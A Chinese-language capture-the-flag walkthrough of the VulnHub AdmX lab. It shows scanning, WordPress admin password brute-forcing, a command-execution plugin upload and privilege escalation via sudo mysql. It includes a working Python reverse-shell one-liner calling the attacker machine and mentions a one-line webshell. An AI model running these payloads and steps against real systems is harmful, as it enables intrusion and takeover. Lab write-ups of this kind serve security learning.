声明:该篇文章仅供学习网络安全技术参考研究使用,请勿使用相关技术做违法操作。本公众号的技术文章可以转载,能被更多人认可本文的创作内容属实荣幸之至,请在转载时标明转载来源即可.也欢迎对文章中出现的不足和错误进行批评指正!
实战打靶系列第 04 篇文章
靶机地址:
https://download.vulnhub.com/admx/AdmX_new.7z
通过nmap进行主机发现
nmap -sn 192.168.56.0/24
靶机ip:192.168.56.108
kali的ip:192.168.56.102
1、对靶机开放的端口,运行服务,操作系统的版本进行探测
nmap -sV -p- -O 192.168.56.108
经历一段时间的等待,发现靶机只开放了80端口,跑的是apache的http服务;操作系统判断是Linux 4.15 - 5.6,或者Linux 5.0 - 5.4
2、对80端口进行一个nmap漏洞库的扫描
nmap --script=vuln -p80 192.168.56.108
扫描结果显示有/wordpress和/wordpress/wp-login.php目录
3、使用浏览器对80端口进行访问
访问的页面为apache的默认页面,没有信息可以利用,进行目录爆破
4、对80端口进行目录爆破,并进一步探测
gobuster dir -u http://192.168.56.108 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
发现了两个目录,tools和wordpress,又再一次出现了wordpress,那么可以猜测这个网站是一个wordpress的cms搭建的,拼接tools访问,没有权限;凭借wordpress访问,发现的页面不像一个cms所拥有的页面,而且访问速度很慢;
打开开发工具,对数据包进行检查
发现数据包对192.168.159.145进行一个访问,访问的内容都是关于wordpress的一些js文件,而192.168.159.145不存在
会不会是之前在编写代码的时候,靶机的ip为192.168.159.145,但是现在靶机的ip改了,使用burp进行替换,将数据包的192.168.159.145换成192.168.56.108,需要将响应头和请求体都替换。
浏览器重新访问80端口的wprdpress目录
对wordpress目录进行目录爆破gobuster dir -u http://192.168.56.108/wordpress -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
发现有admin目录,指向wp-admin,那么拼接wp-admin进行访问
来到后台地址,尝试一下弱口令admin admin
提示密码错误,证明存在admin的用户名
1、已知admin用户名,使用弱密码进行爆破
使用burp的自动批量发送进行爆破
利用返回长度去进行筛选
密码为adam14
登录
2、获取shell
wordpress的管理员后台有三个可以利用的地方:
a、media处的文件上传
b、appearance的theme editor修改外观主题,404模板,写入反弹shell,可以更新即可以利用
c、plugins上传插件(插件的默认位置url/wordpress/wp-admin/plugins/上传的插件名称)
这里先尝试后两个:
(1)、appearance的theme editor修改外观主题的404模板
先判断是否可以写入,尾部写入echo 123;
点击update file
发现不能修改文件,那么尝试第二种
(2)、plugins上传插件
编写一个自定义插件,写入可以执行系统命令的代码,这里需要注意,编写wordpress的自定义代码需要加注释,这些注释必不可少,不然wordpress不会去执行;上传插件得进行压缩
压缩 zip wordpress_plugin.zip wordpress_plugin.php
上传插件
上传成功,点击activate plugin,插件的默认位置url/wordpress/wp-admin/plugins/上传的插件名称
访问这个插件:http://192.168.56.108/wordpress/wp-admin/plugins/wordpress_plugin.php?cmd=id
输出了id
为什么不直接在插件里面写入反弹shell呢?因为不知道有没有可以利用的工具来进行反弹shell,不清楚是否有nc,python,bash等等,那么写入可以执行系统命令的代码,可以去查找是否存在这些工具。
存在nc,python3,bash
方法一、使用python3进行反弹shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.102",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
获得了初始shell
方法二、使用蚁剑连接shell
使用蚁剑连接,则插件里面的代码需要改成一句话木马
蚁剑连接
1、第一次提权(wpadmin)
当前用户www-date,sudo -l 没有不用root密码就可以执行的文件
查看自动任务 cat /etc/crontab
发现有定时任务,但是这个定时任务的目录下,发现有文件,但是没有权限
ls /home 发现home目录下有一个wpadmin用户
在wordpress目录下有网站的配置文件,wp-config.php
cat wp-config.php, 发现有数据库的密码和用户,那么尝试连接数据库
mysql -u admin -p Wp_Admin#123,发现不能登录,结合前面信息收集,那么一共得到两个密码,使用这两个密码尝试去登录wpadmin用户
当尝试到adam14的时候,进入了wpadmin用户
2、第二次提权(root)
python3 -c 'import pty;pty.spawn("/bin/bash")'
提高交互性
sudo -l 有可以提升权限的文件
输入sudo /usr/bin/mysql -u root -D wordpress -p 进入数据库
使用mysql自带的system命令
system id 发现为root用户
system /bin/bash
提升为root权限
拿到flag
参考资料:
https://www.aqniukt.com/goods/show/2434?targetId=16289&preview=0